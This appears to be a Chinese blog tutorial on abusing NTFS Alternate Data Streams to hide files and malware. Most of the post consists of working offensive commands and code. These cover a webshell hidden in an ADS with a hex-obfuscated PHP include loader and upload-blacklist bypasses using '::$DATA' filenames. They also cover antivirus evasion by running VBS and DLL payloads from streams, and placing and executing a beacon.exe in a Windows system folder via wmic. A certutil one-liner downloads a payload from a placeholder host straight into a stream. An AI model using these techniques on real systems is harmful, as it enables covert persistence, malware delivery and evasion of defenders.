当前位置: 首页 > ds >正文

ADS数据流实现隐藏文件

ADS:Alternate DataStreams,全称 NTFS 交换数据流,是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下,每个文件都可以存在多个数据流。简单来说,就是其他文件可以寄宿在某个文件身上。利用 ADS 数据流可以做很多有趣的事情

在NTFS分区创建ADS数据流文件有两种形式:

  • 一是指定宿主文件;
  • 二是创建单独的ADS文件。

创建的指令有两个:echo 和 type

  • echo 用于常规字符
  • type 用于将文件附加到某个文件

使用方法

1. 使用宿主文件

echo test > 1.txt:flag.txt

正常用 dir 是无法查看到的,可以使用 dir /r

C:\test>dir驱动器 C 中的卷没有标签。卷的序列号是 46BD-3363C:\test 的目录2025/07/22  03:53    <DIR>          .
2025/07/22  03:53    <DIR>          ..
2025/07/22  03:53                 0 1.txt1 个文件              0 字节2 个目录 45,771,202,560 可用字节C:\test>dir /r驱动器 C 中的卷没有标签。卷的序列号是 46BD-3363C:\test 的目录2025/07/22  03:53    <DIR>          .
2025/07/22  03:53    <DIR>          ..
2025/07/22  03:53                 0 1.txt9 1.txt:flag.txt:$DATA1 个文件              0 字节2 个目录 45,771,161,600 可用字节

文件内容可以使用命令

notepad 1.txt:flag.txt

此类文件可以通过直接删除宿主文件清除。

2. 单独的 ADS 数据流文件

这类可以通过以下命令来创建:

echo hide > :mo.txt

创建后该目录内是没有文件的,并且用当前目录下的命令行也无法查看,因为它是依赖于文件夹的ADS数据流文件

因此需要退到上一级目录去查看

cd ../
notepad test

webshell后门

由于 Windows 系统对 ADS 文件都没有执行权限,因此隐藏此类 webshell 需要用到文件包含来配合

首先创建一个被包含文件:index.php:mo.txt

在里面藏一个 phpinfo

echo ^<?php phpinfo();?^> > index.php:mo.txt

为了避免被查,给文件名进行 hex 编码,最后创建一个实现文件包含功能的 include.php

<?php
$a="696E6465782E7068"."703A6D6F2E747874";
$b="a";
include(PACK('H*',$$b))
?>

文件上传

当然这里也可以借助此数据流实现 Bypass 上传黑名单限制

当我们上传数据流文件时,形如 test.php::$DATA 、test.php:a.txt 这样的后缀, windows 系统就会需要创建一个对应的宿主文件 test.php ,同时假设我们需要上传的文件内容为:

<?php phpinfo();?>

根据上传文件名不同,会产生不同效果

test.php:a.jpg

效果:生成 test.php,文件内容为空

test.php::$DATA

效果:生成 test.php, 文件内容为 <?php phpinfo();?>

test.php::$INDEX_ALLOCATION

效果:生成 test.php 文件夹

test.php::$DATA\0.jpg

效果:生成 0.jpg,文件内容为 <?php phpinfo();?>

上传文件名为 Test.php::$INDEX_ALLOCATION 时会生成对应的文件夹,那么以理论上来说是可以用于突破 UDF 提权时无法创建文件夹的问题,但是我测试的时候并不可以,不知道是为什么,严重怀疑被参考文献骗了┭┮﹏┭┮

病毒免杀

windows的数据流文件都被禁止了执行权限,因此可以使用 wscript 来运行 vbs,在C盘的根目录使用命令:

type 1.vbs > :2.vbs

可以创建 C 盘存在的数据流文件 c::2.vbs,没有工具是无法清除的,而且也可以绕过部分安全厂商的查杀

这个 vbs 文件也是可以运行的

wscript c::2.vbs

dll 文件同理:

type test.dll > 1.txt:ms
regsvr32 1.txt:ms

清除方式:用winhex或者删除宿主文件或者借助相关工具如 IceSword 也可进行删除。

实战

通过文件上传执行

在 C:\WINDOWS\debug\WIA 的目录下(这个目录常被用于 Dropper(下发payload)或免杀执行)

上传文件到 ADS 数据流

$upload /tmp/beacon.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe

执行

$wmic process call create \\.\c:\WINDOWS\debug\WIA\test:aa.exe$execute -cH -f "\\\\.\\c:\\WINDOWS\\debug\\WIA\\test:aa.exe" (也可以使用msf来执行)

通过文件下载执行

利用 certutil 从 HTTP 下载一个文件并直接写入目标 ADS

$certutil -urlcache -split -f http://url/test.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe

删除certutil缓存

$certutil.exe -urlcache -split -f http://url/test.exe delete

进一步隐藏

如果想要 dir/s 里看不到 ADS,可以使用特殊的文件名称:

\\.\C:\test\COM1
\\.\C:\test\COM2
\\.\C:\test\COM3-8
\\.\C:\test\COM9
\\.\C:\test\nul

并且这些文件是不可以直接在UI界面删除的,要删除的话使用如下命令:

del \\.\C:\test\nul
http://www.xdnf.cn/news/16279.html

相关文章:

  • 【AJAX】XMLHttpRequest、Promise 与 axios的关系
  • 动手学深度学习2.0-李沐Pytorch版
  • Windows 10 停服:个人与企业的 “系统选择题”
  • 小程序生命周期及页面操作执行过程详解
  • Lua(数组)
  • day13 flash
  • 根据字符串数组的顺序重新排序 List顺序
  • 基于深度学习的肺癌肿瘤细胞图像识别与分类系统
  • Node.js 版本兼容问题:minimatch@10.0.3和minio@7.0.28 冲突的解决
  • 图机器学习(20)——欺诈交易检测算法
  • 阿里视频直播解决方案VS(MediaMTX + WebRTC) 流媒体解决方案
  • 从零构建:Jenkins与Kubernetes集成的完整指南
  • 10分钟搭建脚手架:Spring Boot 3.2 + Vue3 前后端分离模板
  • 【C# 找最大值、最小值和平均值及大于个数和值】2022-9-23
  • nat. metab.(IF=20.8)|北医三院徐明教授团队:TGR5抑制脂肪酸摄取预防糖尿病性心肌病的机制新解
  • Spark 之 DataFrame
  • GEMINUS 和 Move to Understand a 3D Scene
  • ElasticSearch基础数据查询和管理详解
  • 7月23日华为机考真题第一题100分
  • 实验室信息管理系统的设计与实现/实验室管理系统
  • Prometheus介绍
  • C/C++中的内存管理
  • [Linux入门] Linux 文件系统与日志分析入门指南
  • arm64架构开发板上调用奥比中光深度摄像头用于视觉测距
  • 判断矩形能否放入多边形内——cad c# 二次开发实现
  • 初识opencv02——图像预处理1
  • 软硬件协同仿真和验证的标准接口协议SCE-MI简介
  • Spring语法2
  • HTML5 网页游戏设计开发——1、HTML基础
  • PowerShell自动化核对AD与HR系统账户信息实战指南